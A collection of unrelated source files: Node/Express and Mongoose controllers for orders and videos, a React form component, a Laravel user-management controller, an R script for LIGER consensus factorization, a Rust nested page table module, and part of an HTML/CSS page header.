exports.UpdateOrder = async (req, res) => {
try {
const order = await Order.findByIdAndUpdate(
req.params.id,
{
status: req.body.status,
},
{ new: true }
);
if (!order)
return res
.status(400)
.json({ message: "the order cannot be update!", error: error });
res
.status(200)
.json({ message: "order updated succesfully!", data: order });
} catch (error) {
res.status(500).json({ message: "Server Error", error: error });
}
};
exports.DeleteOrder = async (req, res) => {
Order.findByIdAndDelete(req.params.id)
.then(async (order) => {
if (order) {
await order.orderItems.map(async (orderItem) => {
await OrderItem.findByIdAndDelete(orderItem);
});
return res
.status(200)
.json({ success: true, message: "the order is deleted!" });
} else {
return res
.status(404)
.json({ success: false, message: "order not found!" });
}
})
.catch((err) => {
return res.status(500).json({ success: false, error: err });
});
};
exports.TotalSales = async (req, res) => {
const totalSales = await Order.aggregate([
{ $group: { _id: null, totalsales: { $sum: "$totalPrice" } } },
]);
if (!totalSales) {
return res.status(400).send("The order sales cannot be generated");
}
res.send({ totalsales: totalSales.pop().totalsales });
};
exports.GetTotalOrders = async (req, res) => {
const orderCount = await Order.countDocuments();
if (!orderCount) {
res.status(200).json({ orderCount: 0 });
}
res.send({
orderCount: orderCount,
});
};
// exports.GetSingleOrder = async (req, res) => {
// const userOrderList = await Order.find({ user: req.params.userid })
// .populate({
// path: "orderItems",
// populate: {
// path: "product",
// populate: "category",
// },
// })
// .sort({ dateOrdered: -1 });
// if (!userOrderList) {
// res.status(500).json({ success: false });
// }
// res.send(userOrderList);
// };
|
import React, {useState} from 'react'
function HookWithObject() {
const [user, setUser] = useState({firstName: '', lastName: ''})
return (
<div>
<h1>Form using Hooks</h1>
<form>
<div>
<label>FirstName</label>
<input type="text"
className="form-control w-50"
value={user.firstName}
onChange={(event) =>setUser({...user, firstName: event.target.value}) }
/>
</div>
<div>
<label>LastName</label>
<input type="text"
className="form-control w-50"
value={user.lastName}
onChange={(event) =>setUser({...user, lastName: event.target.value}) }
/>
</div>
<h2>Your FirstName is : { user.firstName}</h2>
<h2>Your LastName is : { user.lastName}</h2>
</form>
</div>
)
}
export default HookWithObject
|
import mongoose, { isValidObjectId } from "mongoose"
import { Video } from "../models/video.model.js"
import { User } from "../models/user.model.js"
import { ApiError } from "../utils/ApiError.js"
import { ApiResponse } from "../utils/ApiResponse.js"
import { asyncHandler } from "../utils/asyncHandler.js"
import { deleteFromCloudinary, uploadOnCloudinary } from "../utils/cloudinary.js"
const getAllVideos = asyncHandler(async (req, res) => {
// get all video accroding to parameter given
// fetch every video details with the owner avatar and channel name
// get all published video only and
// get all video according to query. Query can contain -
// search video by title, description or channel name
// sort the video, user id is given or not by -
// sort type asc or desc
// sort by - UPLOAD DATE: Last hour, Today, This week, This month, This year and
// by DURATION: Under 4 minutes, 4 - 20 minutes, Over 20 minutes and
// by: most popular (by views in desc order), latest (by uploading date), older(by uploading date).
const { page = 1, limit = 10, query, sortType, sortBy } = req.query;
const pipeline = [];
// Fetch only published videos
pipeline.push({ $match: { isPublished: true } });
pipeline.push({
$lookup: {
from: "users",
localField: "owner",
foreignField: "_id",
as: "ownerDetails"
}
});
pipeline.push({ $unwind: "$ownerDetails" });
pipeline.push({
$project: {
ownerDetails: {
avatar: 1,
fullname: 1
},
title: 1,
description: 1,
createdAt: 1,
duration: 1,
isPublished: 1,
thumbnail: 1,
views: 1,
_id: 1
}
});
// If query is provided, perform search
if (query) {
pipeline.push({
$search: {
index: "search-videos",
text: {
query: query,
path: ["title", "description", "ownerDetails.fullname", "ownerDetails.username"]
}
}
});
}
// Sorting criteria
const sortCriteria = {};
switch (sortBy) {
case "uploadDate":
sortCriteria.createdAt = sortType === "desc" ? -1 : 1;
break;
case "duration":
sortCriteria.duration = sortType === "asc" ? 1 : -1;
break;
case "popularity":
sortCriteria.views = sortType === "desc" ? -1 : 1;
break;
default:
sortCriteria.createdAt = -1; // Default sorting by upload date (latest first)
break;
}
pipeline.push({ $sort: sortCriteria });
// Pagination options
const options = {
page: parseInt(page, 10),
limit: parseInt(limit, 10)
};
const videos = await Video.aggregatePaginate(
Video.aggregate(pipeline),
options
);
res.status(200).
json(
new ApiResponse(
200,
videos,
"Videos Fetched Successfully"
));
})
const publishAVideo = asyncHandler(async (req, res) => {
// get video and thumbnail from file
// get title and description from body
// validation - not empty all field
// upload files to cloudinary -- video and thumbnail
// get video duration from cloudinary url
// get user id (owner id)
// create video object - create entry in db
// check for video creation
// if video not creted delete video and thumbnail file form cloudinary
// return res
const { title, description } = req.body
if (
[title, description].some((field) => field?.trim() === "")
) {
throw new ApiError(400, "Title and Description fields are required")
}
const videoLocalPath = req.files?.videoFile[0]?.path;
const thumbnailLocalPath = req.files?.thumbnail[0]?.path;
if (!videoLocalPath || !thumbnailLocalPath) {
throw new ApiError(400, "Video and Thumbnail file is required")
}
const videoId = await uploadOnCloudinary(videoLocalPath);
const thumbnailId = await uploadOnCloudinary(thumbnailLocalPath);
if (!videoId || !thumbnailId) {
throw new ApiError(400, "Video and Thumbnail file is required")
}
const videoDB = await Video.create({
videoFile: {
url: videoId.url,
public_id: videoId.public_id
},
thumbnail: {
url: thumbnailId.url,
public_id: thumbnailId.public_id
},
title,
description,
duration: videoId?.duration,
owner: req.user?._id
})
// if video not uploded delete video from cludinary
if (!videoDB && videoId) {
await deleteFromCloudinary(videoId.public_id, "video");
}
// if video not uploded delete thumbnail image from cludinary
if (!videoDB && thumbnailId) {
await deleteFromCloudinary(thumbnailId.public_id);
}
if (!videoDB) {
throw new ApiError(500, "Something went wrong while uploading the video")
}
return res.status(201).json(
new ApiResponse(200, videoDB, "Video Uploaded Successfully")
)
})
const getVideoById = asyncHandler(async (req, res) => {
// take videoId from params
// check fro video id
// make aggregation pipeline
// calculate like count from Like model
// fetch owner details from User model
// calculate subscriber count of owner from Subscription model
// find the viewer of video is subscribed to owner or not
// project all video detail owner detail with subscriber count and isSubscribed field and like count
// increase view count of the video
// add video to the watch history of login user
// return res
const { videoId } = req.params
console.log(videoId);
if (!isValidObjectId(videoId)) {
throw new ApiError(400, "Invalid Video ID");
}
const video = await Video.aggregate([
{
$match: {
_id: new mongoose.Types.ObjectId(videoId)
}
},
{
$lookup: {
from: 'likes', // Name of the Like collection
localField: '_id', // Field in the Video collection
foreignField: 'video', // Field in the Like collection
as: 'likes' // Output field name
}
},
{
$lookup: {
from: 'users', // Name of the User collection
localField: 'owner', // Field in the Video collection
foreignField: '_id', // Field in the User collection
as: 'ownerInfo', // Output field name
pipeline: [
{
$lookup: {
from: "subscriptions",
localField: "_id",
foreignField: "channel",
as: "subscribers",
},
},
{
$addFields: {
subscribersCount: {
$size: "$subscribers",
},
isSubscribed: {
$cond: {
if: {
$in: [req.user?._id, "$subscribers.subscriber"],
},
then: true,
else: false,
},
},
},
},
{
$project: {
username: 1,
"avatar.url": 1,
subscribersCount: 1,
isSubscribed: 1,
},
},
],
},
},
{
$addFields: {
likeCount: {
$size: '$likes'
},
isLiked: {
$cond: {
if: {
$in: [req.user?._id, "$likes.likedBy"],
},
then: true,
else: false,
},
},
}
},
{
$project: {
_id: 1,
title: 1,
description: 1,
duration: 1,
views: 1,
isPublished: 1,
videoFile: 1,
thumbnail: 1,
ownerInfo: 1,
likeCount: 1,
isLiked: 1,
}
}
])
if (!video?.length) {
throw new ApiError(404, "video does not exists");
}
await Video.findByIdAndUpdate(videoId, {
$inc: {
views: 1,
},
});
await User.findByIdAndUpdate(req.user?._id, {
$addToSet: {
watchHistory: videoId,
},
});
return res.status(200)
.json(new ApiResponse(
200,
video[0],
"Video fetched successfully"
))
})
const updateVideo = asyncHandler(async (req, res) => {
// get video id from params
// get thumbnail, title and description
// check all should recieve
// find object by video id
// check the owner of video is same as login user or not
// if not same can not update video
// delete old image
// return res
const { videoId } = req.params;
const { title, description } = req.body;
if (!isValidObjectId(videoId)) {
throw new ApiError(400, "Invalid VideoId");
}
if (
[title, description].some((field) => field?.trim() === "")
) {
throw new ApiError(400, "All fields are required")
}
const video = await Video.findById(videoId);
if (!video) {
throw new ApiError(404, "Video does not exist");
}
if (video?.owner.toString() !== req.user._id.toString()) {
throw new ApiError(400, "Only Owner can Update the video");
}
const newThumbnailLocalPath = req.files?.path;
const oldThumbnail = video.thumbnail.public_id;
if (!newThumbnailLocalPath || !oldThumbnail) {
throw new ApiError(400, "Thumbnail file is required")
}
const thumbnail = await uploadOnCloudinary(newThumbnailLocalPath);
if (!thumbnail) {
throw new ApiError(400, "Thumbnail not found");
}
const updatedVideo = await Video.findByIdAndUpdate(
videoId,
{
$set: {
title,
description,
thumbnail: {
url: thumbnail?.url,
public_id: thumbnail?.public_id
}
}
},
{ new: true }
)
if (!updatedVideo) {
await deleteFromCloudinary(newThumbnailLocalPath);
throw new ApiError(500, "Failed to update the video");
}
// deleting old thumbnail image from cloudinary
await deleteFromCloudinary(oldThumbnail);
return res.status(200)
.json(new ApiResponse(
200,
video,
"Video details updated successfully"
))
})
const deleteVideo = asyncHandler(async (req, res) => {
const { videoId } = req.params
if (!isValidObjectId(videoId)) {
throw new ApiError(400, "Invalid videoId");
}
const video = await Video.findById(videoId);
if (!video) {
throw new ApiError(400, "Video Id is missing")
}
if (video?.owner.toString() !== req.user?.public_id.toString()) {
throw new ApiError(
400,
"You can not delete the video as you are not the owner of the video"
);
}
const deletedVideo = await video.remove();
await deleteFromCloudinary(video.thumbnail.public_id);
await deleteFromCloudinary(video.videoFile.public_id, "video");
if (!deletedVideo) {
throw new ApiError(500, "Somthing went wrong while deleting video")
}
return res.status(200)
.json(new ApiResponse(
200,
{},
"Video deleted successfully"
))
})
const togglePublishStatus = asyncHandler(async (req, res) => {
const { videoId } = req.params;
if (!isValidObjectId(videoId)) {
throw new ApiError(400, "Invalid videoId");
}
const video = await Video.findById(videoId);
if (!video) {
throw new ApiError(404, "Video not found")
}
if (video?.owner.toString() !== req.user?.public_id.toString()) {
throw new ApiError(
400,
"You can not toggle publish the video as you are not the owner of the video"
);
}
video.isPublished = !video.isPublished;
const isPublishedStatus = await video.save({ validateBeforeSave: false });
if (!isPublishedStatus) {
throw new ApiError(409, "Somthing went wrong")
}
return res.status(200)
.json(new ApiResponse(
200,
{},
"Video publish status toggle successfully"
))
})
export {
getAllVideos,
publishAVideo,
getVideoById,
updateVideo,
deleteVideo,
togglePublishStatus
}
|
<?php
namespace App\Http\Controllers;
use App\Models\Unit;
use App\Models\User;
use App\Models\Lokasi;
use Illuminate\Http\Request;
use Illuminate\Validation\ValidationException;
use Illuminate\Database\QueryException;
use Illuminate\Validation\Rule;
class ManageUserController extends Controller
{
public function __construct()
{
$this->middleware('admin');
}
public function index()
{
$user = User::all();
$units = Unit::all();
$lokasis = Lokasi::all();
return view('admin.manageUser', compact('user', 'units', 'lokasis'));
}
public function update(Request $request, $id)
{
// dd($request->all());
$user = User::findOrFail($id);
$this->validate($request, [
'name' => ['required', 'string', 'max:255'],
'unit' => ['required'],
'lokasi' => ['required'],
'usertype' => ['nullable', 'string', 'max:255'],
'email' => [
'required', 'string', 'email', 'max:255',
Rule::unique('users')->ignore($user->id),
],
'password' => ['nullable', 'string', 'min:8', 'confirmed'],
]);
// Update user information
$user->name = $request->name;
$user->email = $request->email;
if ($request->usertype !== null) {
$user->usertype = $request->usertype;
}
$user->id_lokasi = $request->lokasi;
$user->id_unit = $request->unit;
// Update password only if a new one is provided
if ($request->password !== Null) {
$user->password = $request->password;
}
$user->save();
return redirect()->route('users.index')
->with('success', 'User updated successfully');
}
public function destroy($id)
{
try {
$user = User::findOrFail($id);
$user->logs()->detach();
$user->projects()->detach();
$user->delete();
return redirect()->route('users.index')
->with('success', 'user berhasil dihapus');
} catch (QueryException $e) {
// Check if the error is due to foreign key constraint violation
$errorCode = $e->errorInfo[1];
if ($errorCode === 1451) {
return back()->withErrors(['error' => 'Cannot delete user due to existing references']);
} else {
throw $e; // Re-throw the exception if it's not related to foreign key constraint
}
}
}
}
|
#### RUN K SWEEP (SERVER) ####
library(rliger)
library(parallel)
library(cluster)
library(liger)
library(stats)
library(RANN)
library(matrixStats)
library(parallel)
library(mixtools)
library(rlist)
##### separate script #####
args=commandArgs(trailingOnly=T)
cell_type=args[1]
K.MIN=2
K.MAX=40
#conda activate R4.0LM
JDM_DIR="/krummellab/data1/erflynn/premier/jdm/data/jdm"
setwd(JDM_DIR)
dir.create(sprintf('k_sweep/%s', cell_type))
Liger = readRDS(sprintf('k_sweep/Liger_objects/Liger.%s.rds', cell_type))
# see batch size calculation above
minibatch_size = readRDS('k_sweep/Liger_objects/minibatch_size.rds')
LIGER.rep.function <- function(x){
# select random seeds
seed = sample(1:10000, 1)
Liger <- online_iNMF(Liger, k = x, max.epochs=10, seed = seed, miniBatch_size =
minibatch_size[[cell_type]])
res = t(Liger@W)
colnames(res) = paste0("R", x, "_Program", 1:x)
H_res = list.rbind(Liger@H)
colnames(H_res) = paste0("R", x, "_Program", 1:x)
V_res = Liger@V
V_res = lapply(V_res, function(y){
rownames(y) = paste0("R", x, "_Program", 1:x)
y = t(y)
return(y)
})
return(list(W = res, H = H_res, V = V_res, seed = seed))
}
# Depending on biological variation expected across patients, can do a much more restricted sweep depending on the number of programs you input
k = c(K.MIN:K.MAX)
for (j in k){
reps.k = rep(j, 10)
names(reps.k) = paste0("rep", 1:length(reps.k))
Liger_list = mclapply(reps.k, FUN = LIGER.rep.function, mc.cores = 10)
for (i in 1:length(Liger_list)){
colnames(Liger_list[[i]][["W"]]) = paste0("Rep", i, "_", colnames(Liger_list[[i]][["W"]]))
colnames(Liger_list[[i]][["H"]]) = paste0("Rep", i, "_", colnames(Liger_list[[i]][["H"]]))
Liger_list[[i]][["V"]] = lapply(Liger_list[[i]][["V"]], function(y) {
colnames(y) = paste0("Rep", i, "_", colnames(y))
return(y)})
}
saveRDS(Liger_list, file =
sprintf("k_sweep/%s/Liger.%s.list.R%s.rds", cell_type, cell_type, j))
}
rm(Liger_list)
rm(Liger)
gc()
#### CALCULATE CONSENSUS VALUES #### run replicates and find consensus
# IDENTIFY OUTLIERS
# determine distance threshold - find nearest neighbors on server, then move to local computer to inspect
files = grep(sprintf("Liger.%s.list", cell_type), list.files(sprintf('k_sweep/%s/', cell_type)),
value = T) #grabbing file names so that file names are passed to below functions rather than objects themselves
files = files[order(as.numeric(gsub("R", "", unlist(lapply(strsplit(files, '\\.'), `[`, 4)))))]
# find average distance of each program/rep's two nearest neighbors
nn.dist.full = mclapply(files, function(x){
Liger_list = readRDS(sprintf('k_sweep/%s/%s', cell_type, x))
W_list = lapply(Liger_list, `[[`, "W")
W_list = lapply(W_list, function(x) {apply(x, MARGIN = 2, FUN = function(y) {y/norm(y, type = "2")})})
# L2 normalize (as in cNMF paper)
W.mat = list.rbind(lapply(W_list, FUN = t))
nn.dist = rowMeans(nn2(W.mat)$nn.dists[,2:3])
# the [,2:3] here is the two nearest neighbors
}, mc.cores = 4)
names(nn.dist.full) = unlist(lapply(strsplit(files, '\\.'), `[`, 4))
saveRDS(nn.dist.full, file = sprintf("k_sweep/%s/nn.dist.full.rds", cell_type))
rm(nn.dist.full, files)
gc()
# for some reason this function isn't automatically found unless I call it to the environment
solveNNLS <- function(C, B) {
.Call('_rliger_solveNNLS', PACKAGE = 'rliger', C, B)
}
# FIND CONSENSUS RESULTS #
dir.create(sprintf('k_sweep/%s/consensus_res', cell_type))
# rank should be over the same sweep as k above
rank = K.MIN:K.MAX #CD4T starts at 5, all others start at 2
names(rank) = paste0("R", rank)
Liger = readRDS(sprintf('k_sweep/Liger_objects/Liger.%s.rds', cell_type))
#cell types to run consensus results section on: CD8T, NK, expanded myeloid, expanded B cells, expanded CD4T cells
# THIS BOTH SAVES THE CONSENSUS RESULTS AND OUTPUTS A SUMMARY OF THE KMEANS RESULTS AS KMEANS_LIST
kmeans_list = mclapply(rank, function(k){
Liger_list = readRDS(sprintf('k_sweep/%s/Liger.%s.list.R%s.rds', cell_type, cell_type, k))
W_list = lapply(Liger_list, `[[`, "W")
W_2norm = lapply(W_list, function(x) {apply(x, MARGIN = 2, FUN = function(y){norm(y, type ="2")})}) #why do we need to store the norm of y?
W_list = lapply(W_list, function(x) {apply(x, MARGIN = 2, FUN = function(y) {y/norm(y, type = "2")})}) #normalizing over columns instead of rows bc in this liger package, columns are the activity programs (K)
W.mat = list.rbind(lapply(W_list, FUN = t))
km.res = kmeans(W.mat, centers = k, nstart = 100, iter.max = 100) #kmeans clustering (1 cluster for each program)
nn.dist = rowMeans(nn2(W.mat)$nn.dists[,2:3]) #stores 2 nearest neighbors for each replicate of each program at rank k, computes mean distance
names(nn.dist) = rownames(W.mat)
min = diff(quantile(nn.dist, probs = c(0.25, 0.75)))*0.5 + quantile(nn.dist, probs = c(0.75))
if (length(which(nn.dist>min))>0) {
W.mat.filt = W.mat[-which(nn.dist>min),]
km.res.filt = kmeans(W.mat.filt, centers = k, nstart = 100, iter.max = 100) #recalculate kmeans without those outliers
} else {
W.mat.filt = W.mat
km.res.filt = km.res
} #this filtering step removes nn's that are more than half the iq range from 75th quantile
table(km.res.filt$cluster)
W_consensus = matrix(nrow = k, ncol = ncol(W.mat.filt))
for (i in seq(k)){
row.ind = which(km.res.filt$cluster==i)
if (length(row.ind) > 1){
W_consensus[i,] = colMedians(W.mat.filt[row.ind,]) #median expression across programs if multiple clusters assigned to 1 program
} else W_consensus[i,] = W.mat.filt[row.ind,]
}
rownames(W_consensus) = paste0("R", k, "_Program", seq(k))
colnames(W_consensus) = colnames(W.mat.filt)
V_list = lapply(Liger_list, `[[`, "V") #batch effects
for (i in names(V_list)){
V_list[[i]] = lapply(V_list[[i]], function(x){t(t(x)*(1/W_2norm[[i]]))})
}
V.mat = t(list.cbind(lapply(V_list, list.rbind)))
if (length(which(nn.dist>min))>0) {
V.mat.filt = V.mat[-which(nn.dist>min),]
} else {
V.mat.filt = V.mat
}
V_consensus = matrix(nrow = k, ncol = ncol(V.mat.filt))
for (i in seq(k)){
row.ind = which(km.res.filt$cluster==i)
if (length(row.ind) > 1){
V_consensus[i,] = colMedians(V.mat.filt[row.ind,])
} else V_consensus[i,] = V.mat.filt[row.ind,]
}
rownames(V_consensus) = paste0("R", k, "_Program", seq(k))
colnames(V_consensus) = colnames(V.mat.filt)
Batch.info = 1:length(V_list$rep1)
names(Batch.info) = names(V_list$rep1)
V_consensus = lapply(Batch.info, function(x){
V = V_consensus[,((x-1)*length(colnames(W_consensus))+1):(x*length(colnames(W_consensus)))]
})
# If no batch effects, can just use predict
# Liger_predict = online_iNMF(Liger, k = 9, max.epochs=20, miniBatch_size = 1000, projection = T, W.init = t(W_consensus))
# H_predict = list.rbind(Liger_predict@H)
# Otherwise, use solveNNLS with W and V initializations
Batch.info = names(V_list$rep1)
names(Batch.info) = names(V_list$rep1)
H_consensus_list = lapply(Batch.info, function(x){
H = solveNNLS(rbind(t(W_consensus) + t(V_consensus[[x]]),
sqrt(10) * t(V_consensus[[x]])), rbind(t([email protected][[x]]), matrix(0,
dim(W_consensus)[2], dim([email protected][[x]])[2])))
})#input to (sqrt) should be number of replicates of NMF (to account for random seeds)
H_consensus_list = lapply(H_consensus_list, t)
H_consensus = list.rbind(H_consensus_list)
rownames(H_consensus) = rownames((lapply(Liger_list, `[[`, "H"))[[1]])
colnames(H_consensus) = paste0("R", k, "_Program", seq(k))
consensus_res = list(H = H_consensus, W = W_consensus, V = V_consensus)
# This saves the consensus matrices for each rank separately
saveRDS(consensus_res, file = sprintf("k_sweep/%s/consensus_res/Liger.%s.consensus.R%s.rds", cell_type, cell_type, k))
kmeans_result = list(km = km.res, km_filt = km.res.filt)
return(kmeans_result)
}, mc.cores = 10)
saveRDS(kmeans_list, file = sprintf("k_sweep/%s/kmeans_list.rds", cell_type))
rm(kmeans_list)
gc()
# METRICS FOR CHOOSING K - all calculated on consensus results (generated in chunk above)####
# 2. H_metrics: KL divergence/JSD of cell loadings from uniform (as in original LIGER paper) ####
# create new kl divergence function that works on the consensus H matrix instead of needing the full Liger object
median_kl_divergence_uniform = function(Hs){
n_cells = lapply(Hs, nrow)
n_factors = ncol(Hs)
dataset_list = list()
scaled = scale(Hs, center=FALSE, scale=TRUE)
inflated = t(apply(scaled, 1, function(x) {
replace(x, x == 0, 1e-20)
}))
inflated = inflated/rowSums(inflated)
divs = apply(inflated, 1, function(x) {log2(n_factors) + sum(log2(x) * x)})
res = median(divs)
return(res)
}
H_metrics = lapply(rank, function(k){
H = readRDS(sprintf('k_sweep/%s/consensus_res/Liger.%s.consensus.R%s.rds',cell_type, cell_type, k))$H
KL = median_kl_divergence_uniform(H)
H_list = split(H, seq(nrow(H)))
#ignoring JSD for rank optimization; just use KL divergence
# JSD uses the KL divergence to calculate a normalized score that is symmetrical (and ranges from 0 to 1)
#JSD = median(unlist(mclapply(H_list, function(x) {
#JSD(as.data.frame(rbind(x, rep(1, length(x)))), est.prob = "empirical")
#3}, mc.cores = 4)))
res = list(KL = KL)
})
#JSD_max = lapply(rank, function(x){
#JSD(rbind(c(rep(0, x-1), 1), rep(1, x)), est.prob = "empirical")
#})
saveRDS(H_metrics, file = sprintf('k_sweep/%s/H_metrics.rds', cell_type)) #H_metrics didn't fully finish for CD8T
# 1. error of result - run for each cell type####
Liger.data = readRDS(sprintf('k_sweep/Liger_objects/Liger.%s.rds', cell_type))@scale.data
error_list = mclapply(rank, function(k){ #error is optional metric after looking at KL divergence
consensus = readRDS(sprintf('k_sweep/%s/consensus_res/Liger.%s.consensus.R%s.rds', cell_type, cell_type, k))
data = list()
for (i in names(consensus$V)){
data[[i]] = consensus$H[rownames(Liger.data[[i]]),] %*% (consensus$W + consensus$V[[i]])
}
data = list.rbind(data)
Liger.data = list.rbind(Liger.data)
error = abs(Liger.data - data)
error_list[[paste0("R", k)]] = norm(error, type = "F")
}, mc.cores = 10)
saveRDS(error_list, file=sprintf('k_sweep/%s/consensus_res/error_list.rds', cell_type))
rm(error_list)
gc()
# 3. stability across replicates (JSD from uniform distribution) #### -->skip this step (metric #3)
#library(philentropy)
#library(diceR)
# kmeans_list = list()
# replicate_stability_metrics = list()
# for (i in cell.types){
# kmeans_list[[i]] = readRDS(paste0('k_sweep/', i, '/kmeans_list.rds'))
# kmeans_clusters = lapply(lapply(kmeans_list[[i]], '[[', "km"), '[[', 'cluster')
# JSD_res = lapply(kmeans_clusters, function(x){
# JSD = JSD(rbind(table(x), rep(5, length(table(x)))), est.prob = 'empirical')
# # maximum JSD (i.e. worst performance) will depend on the rank, normalize so we can compare across ranks
# k_length = length(table(x))
# JSD_max = JSD(rbind(c(rep(0, k_length-1), 5*k_length), rep(5, k_length)), est.prob = 'empirical')
# JSD_norm = JSD/JSD_max
# res = list(JSD = JSD, JSD_norm = JSD_norm)
# return(res)
# })
# replicate_stability_metrics[[i]] = list(clusters = kmeans_clusters, JSD = lapply(JSD_res, '[[', "JSD"),
# JSD_norm = lapply(JSD_res, '[[', "JSD_norm"))
# }
#
# saveRDS(replicate_stability_metrics, file = "k_sweep/results_summary/replicate_stability_metrics.rds")
|
use alloc::collections::BTreeMap;
use core::fmt::{Debug, Formatter, Result};
use axerrno::{AxError, AxResult};
use axhal::paging::{PageSize, PagingIfImpl};
use axvm::{AxNestedPageTable, GuestPhysAddr, HostPhysAddr};
use memory_addr::{is_aligned_4k, VirtAddr, PAGE_SIZE_4K as PAGE_SIZE};
use page_table_entry::MappingFlags;
type NestedPageTable = AxNestedPageTable<PagingIfImpl>;
#[derive(Debug)]
enum Mapper {
Offset(usize),
}
#[derive(Debug)]
pub struct GuestMemoryRegion {
pub gpa: GuestPhysAddr,
pub hpa: HostPhysAddr,
pub size: usize,
pub flags: MappingFlags,
}
pub struct MapRegion {
pub start: GuestPhysAddr,
pub size: usize,
pub flags: MappingFlags,
mapper: Mapper,
}
impl MapRegion {
pub fn new_offset(
start_gpa: GuestPhysAddr,
start_hpa: HostPhysAddr,
size: usize,
flags: MappingFlags,
) -> Self {
assert!(is_aligned_4k(start_gpa));
assert!(start_hpa.is_aligned_4k());
assert!(is_aligned_4k(size));
let offset = start_gpa - start_hpa.as_usize();
Self {
start: start_gpa,
size,
flags,
mapper: Mapper::Offset(offset),
}
}
fn is_overlap_with(&self, other: &Self) -> bool {
let s0 = self.start;
let e0 = s0 + self.size;
let s1 = other.start;
let e1 = s1 + other.size;
!(e0 <= s1 || e1 <= s0)
}
fn target(&self, gpa: GuestPhysAddr) -> HostPhysAddr {
match self.mapper {
Mapper::Offset(off) => HostPhysAddr::from(gpa.wrapping_sub(off)),
}
}
fn map_to(&self, npt: &mut NestedPageTable) -> AxResult {
let mut start = self.start;
let end = start + self.size;
debug!("map_to() {:#x?}", self);
while start < end {
let target = self.target(start);
// Here `VirtAddr` represents `GuestPhysAddr`, the physical address from the Guest's perspective.
npt.map(VirtAddr::from(start), target, PageSize::Size4K, self.flags)
.map_err(|err| {
warn!("NestedPageTable map error {:?}", err);
AxError::BadState
})?;
start += PAGE_SIZE;
}
Ok(())
}
fn unmap_to(&self, npt: &mut NestedPageTable) -> AxResult {
let mut start = self.start;
let end = start + self.size;
while start < end {
// Here `VirtAddr` represents `GuestPhysAddr`, the physical address from the Guest's perspective.
npt.unmap(VirtAddr::from(start)).map_err(|err| {
warn!("NestedPageTable unmap error {:?}", err);
AxError::BadState
})?;
start += PAGE_SIZE;
}
Ok(())
}
}
impl Debug for MapRegion {
fn fmt(&self, f: &mut Formatter) -> Result {
f.debug_struct("MapRegion")
.field("range", &(self.start..self.start + self.size))
.field("size", &self.size)
.field("flags", &self.flags)
.field("mapper", &self.mapper)
.finish()
}
}
impl From<GuestMemoryRegion> for MapRegion {
fn from(r: GuestMemoryRegion) -> Self {
Self::new_offset(r.gpa, r.hpa, r.size, r.flags)
}
}
pub struct GuestPhysMemorySet {
regions: BTreeMap<GuestPhysAddr, MapRegion>,
npt: NestedPageTable,
}
impl GuestPhysMemorySet {
pub fn new() -> AxResult<Self> {
Ok(Self {
npt: NestedPageTable::try_new().map_err(|err| {
warn!("NestedPageTable try_new() get err {:?}", err);
AxError::NoMemory
})?,
regions: BTreeMap::new(),
})
}
pub fn nest_page_table_root(&self) -> HostPhysAddr {
self.npt.root_paddr()
}
fn test_free_area(&self, other: &MapRegion) -> bool {
if let Some((_, before)) = self.regions.range(..other.start).last() {
if before.is_overlap_with(other) {
return false;
}
}
if let Some((_, after)) = self.regions.range(other.start..).next() {
if after.is_overlap_with(other) {
return false;
}
}
true
}
pub fn map_region(&mut self, region: MapRegion) -> AxResult {
if region.size == 0 {
return Ok(());
}
if !self.test_free_area(®ion) {
warn!(
"MapRegion({:#x}..{:#x}) overlapped in:\n{:#x?}",
region.start,
region.start + region.size,
self
);
return Err(AxError::InvalidInput);
}
region.map_to(&mut self.npt)?;
self.regions.insert(region.start, region);
Ok(())
}
pub fn clear(&mut self) {
for region in self.regions.values() {
region.unmap_to(&mut self.npt).unwrap();
}
self.regions.clear();
}
}
impl Drop for GuestPhysMemorySet {
fn drop(&mut self) {
debug!("GuestPhysMemorySet Dropped");
self.clear();
}
}
impl Debug for GuestPhysMemorySet {
fn fmt(&self, f: &mut Formatter) -> Result {
f.debug_struct("GuestPhysMemorySet")
.field("page_table_root", &self.nest_page_table_root())
.field("regions", &self.regions)
.finish()
}
}
|
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<style>
@import url(./assets/root.css);
.search-container {
height: 10vh;
display: flex;
justify-content: space-between;
align-items: center;
border-radius: 5px;
margin-top: 3px;
width: 100%;
padding: 0 10px;
}
/* Style the search bar */
.search-bar {
display: flex;
justify-content: flex-end;
width: 70%;
}
.cart-container {
width: 30%;
display: flex;
justify-content: center;
align-items: center;
}
/* Style the input box */
.search-input {
width: 60%;
display: flex;
justify-content: center;
}
.search-input input[type="text"] {
width: 100%;
padding: 10px;
border: 1px solid var(--yellow);
font-size: 16px;
outline: none;
border-radius: 5px;
}
.search-input input[type="text"]:hover {
background: #E5EFD7;
}
/* Style the cart icon and text */
.cart-icon {
color: var(--black);
display: flex;
align-items: center;
cursor: pointer;
}
.cart-icon span {
color: var(--yellow);
margin-right: 5px;
}
.cart-icon img {
width: 30px;
}
/* Toggle */
body.light-mode {
background-color: white;
color: black;
}
body.dark-mode {
background-color: black;
color: white;
}
.cart-icon {
display: flex;
align-items: center;
gap: 10px;
}
/* The switch - the box around the slider */
.switch {
position: relative;
top: -20px;
width: 60px;
}
/* Hide default HTML checkbox */
.switch input {
opacity: 0;
width: 0;
height: 0;
}
.switch img {
width: 35px;
height: 35px;
}
/* The slider */
.slider {
position: absolute;
cursor: pointer;
top: 0;
left: 0;
right: 0;
bottom: 0;
background-color: #ccc;
transition: .4s;
border-radius: 34px;
}
.slider:before {
position: absolute;
content: "";
height: 26px;
left: 4px;
bottom: 4px;
background-color: white;
transition: .4s;
border-radius: 50%;
}
/* Cart items */
.cartitems-unique {
display: none; /* Initially hide the cart container */
position: fixed;
width: 100%;
height: 80vh;
top: 50%;
left: 50%;
transform: translate(-50%, -50%);
background-color: #fff;
padding: 20px;
border-radius: 10px;
max-width: 80%;
z-index: 9999;
}
.carditems-content-unique {
text-align: center;
}
/* Responsive adjustments */
@media (max-width: 900px) {
.search-container {
flex-direction: row;
justify-content: space-around;
}
.search-bar {
width: 40%;
justify-content: flex-start;
}
.cart-container {
width: 10%;
justify-content: flex-start;
margin-top: 10px;
}
.search-input {
width: 100%;
justify-content: center;
}
.cart-container {
width: 35%;
display: flex;
justify-content: center;
align-items: center;
}
.switch {
width: 40px;
}
.slider:before {
height: 16px;
width: 16px;
left: 2px;
bottom: 2px;
}
input:checked + .slider:before {
transform: translateX(20px);
}
}
@media (max-width: 768px) {
.search-container {
flex-direction: row;
justify-content: space-around;
}
.search-bar {
width: 40%;
justify-content: flex-start;
